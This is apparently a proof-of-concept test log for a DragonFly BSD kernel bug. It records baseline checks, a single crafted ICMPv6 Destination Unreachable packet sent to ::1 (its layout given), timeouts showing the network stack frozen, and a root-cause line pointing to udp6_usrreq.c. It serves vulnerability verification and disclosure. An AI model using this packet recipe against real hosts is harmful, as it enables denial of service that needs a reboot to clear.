=== DF-0630 PoC run on UNPATCHED kernel 6.5-DEVELOPMENT #0 ===
Guest: DragonFly dfbsd 6.5-DEVELOPMENT #0  x86_64  (6 vCPU)
Trigger: /root/poc/DF-0630/trigger (raw ICMPv6 socket, root in guest)

=== BASELINE (pre-trigger) ===
$ vm.sh run_root 'ping6 -c1 ::1'
PING6(56=40+8+8 bytes) ::1 --> ::1
16 bytes from ::1, icmp_seq=0 hlim=64 time=0.076 ms
--- ::1 ping6 statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
PING_RC=0

$ time vm.sh run_root 'echo SSH_OK'
SSH_OK
real    0m0.219s

=== TRIGGER: send ONE crafted ICMPv6 DestUnreach to ::1 ===
$ vm.sh run_root '/root/poc/DF-0630/trigger ::1 1'
sent #1: 48 bytes (ICMPv6 type1 + 40B inner IPv6 nh=UDP plen=0) -> ::1
TRIG_RC=0

=== DETECT 1: ping6 ::1 (expect HANG — cpu0 netisr self-deadlocked) ===
$ timeout 8 vm.sh run_root 'ping6 -c2 -W1 ::1'
<hung — no output, killed by timeout>
DETECT1 wrapper rc=124   (TIMEOUT)

=== DETECT 2: plain ssh roundtrip (expect HANG — network stack frozen) ===
$ timeout 8 vm.sh run_root 'echo STILL_HERE; id'
<hung — no output, killed by timeout>
DETECT2 wrapper rc=124   (TIMEOUT)

=== post-trigger state ===
$ vm.sh status
down                          <-- ssh no longer answers; network stack dead

$ tail boot.log
... (login prompt still up — NO panic, NO fatal trap, NO ddb>) ...
login:
<probe rc=124>

=== Conclusion ===
A single 48-byte crafted ICMPv6 Destination Unreachable permanently wedged the
guest. Baseline ssh round-trip was 0.22 s; after the trigger every network
operation (ping6 ::1, ssh) hangs forever (>=8 s timeouts). The kernel did NOT
panic (serial console still shows the live login prompt) — it is a permanent
netisr deadlock matching udp6_usrreq.c:435's missing lwkt_replymsg. The box
requires a reboot (vm.sh reset) to recover.